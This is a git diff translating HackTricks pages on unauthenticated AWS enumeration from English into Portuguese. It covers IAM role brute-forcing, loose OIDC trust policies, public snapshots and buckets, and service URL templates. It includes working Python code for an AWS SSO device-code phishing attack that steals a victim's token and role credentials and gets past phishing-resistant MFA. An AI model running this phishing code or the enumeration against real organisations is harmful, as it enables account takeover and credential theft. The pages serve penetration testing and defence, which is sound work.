aplicativos ou ambientes privados. -### Publicly Accessible S3 Buckets +### Buckets S3 Acessíveis Publicamente -Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**. - -### Enumerate Public Environments +Aplicações do Elastic Beanstalk são frequentemente armazenadas em buckets S3 antes da implantação. Se o bucket S3 contendo a aplicação for acessível publicamente, um atacante pode **baixar o código da aplicação e procurar vulnerabilidades ou informações sensíveis**. +### Enumerar Ambientes Públicos ```bash aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 6ed2b74fe..3574f1f59 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -2,15 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Modelo de URL pública ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index b6092fda4..78fb64682 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -1,180 +1,162 @@ -# AWS - IAM & STS Unauthenticated Enum +# AWS - IAM & STS Enumeração Não Autenticada {{#include ../../../banners/hacktricks-training.md}} -## Enumerate Roles & Usernames in an account +## Enumerar Funções e Nomes de Usuários em uma conta -### ~~Assume Role Brute-Force~~ +### ~~Força Bruta para Assumir Função~~ > [!CAUTION] -> **This technique doesn't work** anymore as if the role exists or not you always get this error: +> **Esta técnica não funciona** mais, pois se a função existir ou não, você sempre recebe este erro: > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > -> You can **test this running**: +> Você pode **testar isso executando**: > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return: - +Tentar **assumir uma função sem as permissões necessárias** aciona uma mensagem de erro da AWS. Por exemplo, se não autorizado, a AWS pode retornar: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` - -This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**: - +Esta mensagem confirma a existência da função, mas indica que sua política de assunção de função não permite sua assunção. Em contraste, tentar **assumir uma função inexistente leva a um erro diferente**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` +Interessantemente, este método de **distinguir entre funções existentes e não existentes** é aplicável mesmo entre diferentes contas AWS. Com um ID de conta AWS válido e uma lista de palavras direcionada, é possível enumerar as funções presentes na conta sem enfrentar limitações inerentes. -Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations. +Você pode usar este [script para enumerar potenciais principais](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusando deste problema. -You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. +### Políticas de Confiança: Força Bruta em funções e usuários de Conta Cruzada -### Trust Policies: Brute-Force Cross Account roles and users - -Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided. +Configurar ou atualizar a **política de confiança de uma função IAM envolve definir quais recursos ou serviços AWS estão autorizados a assumir essa função** e obter credenciais temporárias. Se o recurso especificado na política **existe**, a política de confiança é salva **com sucesso**. No entanto, se o recurso **não existe**, um **erro é gerado**, indicando que um principal inválido foi fornecido. > [!WARNING] -> Note that in that resource you could specify a cross account role or user: +> Note que nesse recurso você poderia especificar uma função ou usuário de conta cruzada: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` -This is a policy example: - +Este é um exemplo de política: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::216825089941:role/Test" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] } ``` - #### GUI -That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating) +Esse é o **erro** que você encontrará se usar uma **função que não existe**. Se a função **existir**, a política será **salva** sem erros. (O erro é para atualização, mas também funciona ao criar) ![](<../../../images/image (153).png>) #### CLI - ```bash ### You could also use: aws iam update-assume-role-policy # When it works aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json { - "Role": { - "Path": "/", - "RoleName": "Test-Role", - "RoleId": "AROA5ZDCUJS3DVEIYOB73", - "Arn": "arn:aws:iam::947247140022:role/Test-Role", - "CreateDate": "2022-05-03T20:50:04Z", - "AssumeRolePolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::316584767888:role/account-balance" - }, - "Action": [ - "sts:AssumeRole" - ] - } - ] - } - } +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} } # When it doesn't work aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` - -You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) +Você pode automatizar esse processo com [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): +Usando [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration +- O papel `admin` usado no exemplo é um **papel na sua conta a ser assumido** pelo pacu para criar as políticas que ele precisa criar para a enumeração ### Privesc -In the case the role was bad configured an allows anyone to assume it: - +No caso de o papel estar mal configurado e permitir que qualquer um o assuma: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` +O atacante poderia simplesmente assumir isso. -The attacker could just assume it. - -## Third Party OIDC Federation - -Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\ -This trust might give access to a role with the following **trust policy**: +## Federação OIDC de Terceiros +Imagine que você consegue ler um **fluxo de trabalho do Github Actions** que está acessando um **papel** dentro da **AWS**.\ +Essa confiança pode dar acesso a um papel com a seguinte **política de confiança**: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Esta política de confiança pode estar correta, mas a **falta de mais condições** deve fazer você desconfiar dela.\ +Isso ocorre porque o papel anterior pode ser assumido por **QUALQUER UM do Github Actions**! Você deve especificar nas condições também outras coisas, como nome da organização, nome do repositório, ambiente, branch... -This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\ -This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach... - -Another potential misconfiguration is to **add a condition** like the following: - +Outra possível má configuração é **adicionar uma condição** como a seguinte: ```json "StringLike": { - "token.actions.githubusercontent.com:sub": "repo:org_name*:*" +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` +Note que **wildcard** (\*) antes do **dois pontos** (:). Você pode criar uma org como **org_name1** e **assumir o papel** a partir de uma Ação do Github. -Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action. - -## References +## Referências - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index fd4d31de6..028e8e823 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -2,35 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## AWS Device Code Phishing +## Phishing de Código de Dispositivo AWS -Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. +Inicialmente proposto em [**este post de blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), é possível enviar um **link** para um usuário usando AWS SSO que, se o **usuário aceitar**, o atacante poderá obter um **token para se passar pelo usuário** e acessar todos os papéis que o usuário pode acessar no **Identity Center**. -In order to perform this attack the requisites are: +Para realizar esse ataque, os requisitos são: -- The victim needs to use **Identity Center** -- The attacker must know the **subdomain** used by the victim `.awsapps.com/start` +- A vítima precisa usar o **Identity Center** +- O atacante deve conhecer o **subdomínio** usado pela vítima `.awsapps.com/start` -Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account. +Apenas com as informações anteriores, o **atacante poderá enviar um link para o usuário** que, se **aceito**, concederá ao **atacante acesso à conta** do usuário AWS. -### Attack +### Ataque -1. **Finding the subdomain** +1. **Encontrando o subdomínio** -The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here. - -With this info, it's possible to get the region where the Indentity Center was configured with: +O primeiro passo do atacante é descobrir o subdomínio que a empresa da vítima está usando em seu Identity Center. Isso pode ser feito via **OSINT** ou **adivinhação + BF**, já que a maioria das empresas usará seu nome ou uma variação de seu nome aqui. +Com essa informação, é possível obter a região onde o Identity Center foi configurado: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 ``` +2. **Gere o link para a vítima & Envie-o** -2. **Generate the link for the victim & Send it** - -Run the following code to generate an AWS SSO login link so the victim can authenticate.\ -For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token: - +Execute o seguinte código para gerar um link de login do AWS SSO para que a vítima possa autenticar-se.\ +Para a demonstração, execute este código em um console Python e não saia dele, pois mais tarde você precisará de alguns objetos para obter o token: ```python import boto3 @@ -39,89 +36,84 @@ AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS sso_oidc = boto3.client('sso-oidc', region_name=REGION) client = sso_oidc.register_client( - clientName = 'attacker', - clientType = 'public' +clientName = 'attacker', +clientType = 'public' ) client_id = client.get('clientId') client_secret = client.get('clientSecret') authz = sso_oidc.start_device_authorization( - clientId=client_id, - clientSecret=client_secret, - startUrl=AWS_SSO_START_URL +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL ) url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` +Envie o link gerado para a vítima usando suas incríveis habilidades de engenharia social! -Send the generated link to the victim using you awesome social engineering skills! +3. **Espere até que a vítima aceite** -3. **Wait until the victim accepts it** - -If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\ -This is how the promp looks nowadays: +Se a vítima já estava **conectada no AWS**, ela só precisará aceitar a concessão das permissões; se não estava, precisará **fazer login e então aceitar a concessão das permissões**.\ +Assim é como o prompt aparece atualmente:
-4. **Get SSO access token** - -If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**: +4. **Obtenha o token de acesso SSO** +Se a vítima aceitou o prompt, execute este código para **gerar um token SSO se passando pelo usuário**: ```python token_response = sso_oidc.create_token( - clientId=client_id, - clientSecret=client_secret, - grantType="urn:ietf:params:oauth:grant-type:device_code", - deviceCode=deviceCode +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` +O token de acesso SSO é **válido por 8h**. -The SSO access token is **valid for 8h**. - -5. **Impersonate the user** - +5. **Imitar o usuário** ```python sso_client = boto3.client('sso', region_name=REGION) # List accounts where the user has access aws_accounts_response = sso_client.list_accounts( - accessToken=sso_token, - maxResults=100 +accessToken=sso_token, +maxResults=100 ) aws_accounts_response.get('accountList', []) # Get roles inside an account roles_response = sso_client.list_account_roles( - accessToken=sso_token, - accountId= +accessToken=sso_token, +accountId= ) roles_response.get('roleList', []) # Get credentials over a role sts_creds = sso_client.get_role_credentials( - accessToken=sso_token, - roleName=, - accountId= +accessToken=sso_token, +roleName=, +accountId= ) sts_creds.get('roleCredentials') ``` +### Phishing do MFA inphishável -### Phishing the unphisable MFA +É interessante saber que o ataque anterior **funciona mesmo se um "MFA inphishável" (webAuth) estiver sendo usado**. Isso ocorre porque o **fluxo de trabalho anterior nunca sai do domínio OAuth utilizado**. Diferente de outros ataques de phishing onde o usuário precisa substituir o domínio de login, no caso, o fluxo de código do dispositivo é preparado para que um **código seja conhecido por um dispositivo** e o usuário possa fazer login mesmo em uma máquina diferente. Se o prompt for aceito, o dispositivo, apenas por **conhecer o código inicial**, será capaz de **recuperar credenciais** para o usuário. -It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user. +Para mais informações sobre isso [**ver este post**](https://mjg59.dreamwidth.org/62175.html). -For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html). - -### Automatic Tools +### Ferramentas Automáticas - [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) - [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) -## References +## Referências - [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) - [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) @@ -129,7 +121,3 @@ For more info about this [**check this post**](https://mjg59.dreamwidth.org/6217 - [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index 38622c338..e334e2862 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Modelo de URL pública ``` mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index 58b8a1309..2de44ec12 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Modelo de URL pública ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 5109a2044..3ba1cf37d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -1,26 +1,20 @@ -# AWS - Lambda Unauthenticated Access +# AWS - Acesso Não Autenticado ao Lambda {{#include ../../../banners/hacktricks-training.md}} -## Public Function URL +## URL de Função Pública -It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities. - -### Public URL template +É possível relacionar um **Lambda** com uma **URL de função pública** que qualquer um pode acessar. Isso pode conter vulnerabilidades na web. +### Modelo de URL Pública ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` +### Obter ID da Conta a partir da URL pública do Lambda -### Get Account ID from public Lambda URL +Assim como com buckets S3, Data Exchange e gateways de API, é possível encontrar o ID da conta de uma conta abusando da **`aws:ResourceAccount`** **Policy Condition Key** a partir de uma URL pública do lambda. Isso é feito encontrando o ID da conta um caractere de cada vez, abusando de curingas na seção **`aws:ResourceAccount`** da política.\ +Essa técnica também permite obter **valores de tags** se você souber a chave da tag (existem algumas interessantes por padrão). -Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Você pode encontrar mais informações na [**pesquisa original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md index 2bbc4fdd6..188a09976 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Modelo de URL pública ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index ab06211e2..880bae64a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -2,25 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} -## Public Port +## Porta Pública ### **RabbitMQ** -In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-.mq.us-east-1.amazonaws.com/` +No caso do **RabbitMQ**, por **padrão, o acesso público** e ssl estão habilitados. Mas você precisa de **credenciais** para acessar (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Além disso, é possível **acessar o console de gerenciamento da web** se você souber as credenciais em `https://b-.mq.us-east-1.amazonaws.com/` ### ActiveMQ -In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access. - -### Public URL template +No caso do **ActiveMQ**, por padrão, o acesso público e ssl estão habilitados, mas você precisa de credenciais para acessar. +### Modelo de URL Pública ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 9bbbd408d..5103c50b7 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -2,21 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public Port +### Porta Pública -It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured). +É possível **expor o broker Kafka ao público**, mas você precisará de **credenciais**, permissões IAM ou um certificado válido (dependendo do método de autenticação configurado). -It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet. - -### Public URL template +Também é **possível desabilitar a autenticação**, mas nesse caso **não é possível expor diretamente** a porta para a Internet. +### Modelo de URL Pública ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 218300e3f..e4238b24b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -4,20 +4,19 @@ ## RDS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -## Public Port +## Porta Pública -It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database. +É possível dar acesso público ao **banco de dados da internet**. O atacante ainda precisará **saber o nome de usuário e a senha,** acesso IAM ou um **exploit** para entrar no banco de dados. -## Public RDS Snapshots - -AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account: +## Snapshots Públicos do RDS +A AWS permite dar **acesso a qualquer pessoa para baixar snapshots do RDS**. Você pode listar esses snapshots públicos do RDS muito facilmente a partir da sua própria conta: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -33,16 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] ## Even if in the console appear as there are public snapshot it might be public ## snapshots from other accounts used by the current account ``` - -### Public URL template - +### Modelo de URL pública ``` mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index ab1577a1e..eb80915cd 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Modelo de URL pública ``` {user_provided}...redshift.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 28c7b1673..6f9332705 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -1,43 +1,43 @@ -# AWS - S3 Unauthenticated Enum +# AWS - S3 Enum Não Autenticado {{#include ../../../banners/hacktricks-training.md}} -## S3 Public Buckets +## Buckets Públicos S3 -A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. +Um bucket é considerado **“público”** se **qualquer usuário pode listar o conteúdo** do bucket, e **“privado”** se o conteúdo do bucket pode **ser listado ou escrito apenas por certos usuários**. -Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). +As empresas podem ter **permissões de buckets mal configuradas**, dando acesso tanto a tudo quanto a todos autenticados na AWS em qualquer conta (ou seja, a qualquer um). Note que, mesmo com tais configurações incorretas, algumas ações podem não ser realizadas, pois os buckets podem ter suas próprias listas de controle de acesso (ACLs). -**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) +**Saiba mais sobre a má configuração do AWS-S3 aqui:** [**http://flaws.cloud**](http://flaws.cloud/) **e** [**http://flaws2.cloud/**](http://flaws2.cloud) -### Finding AWS Buckets +### Encontrando Buckets AWS -Different methods to find when a webpage is using AWS to storage some resources: +Métodos diferentes para descobrir quando uma página da web está usando AWS para armazenar alguns recursos: -#### Enumeration & OSINT: +#### Enumeração & OSINT: -- Using **wappalyzer** browser plugin -- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. -- **Check for resources** in domains like: +- Usando o plugin de navegador **wappalyzer** +- Usando burp (**spidering** a web) ou navegando manualmente pela página, todos os **recursos** **carregados** serão salvos no Histórico. +- **Verifique recursos** em domínios como: - ``` - http://s3.amazonaws.com/[bucket_name]/ - http://[bucket_name].s3.amazonaws.com/ - ``` +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` -- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` -- Check 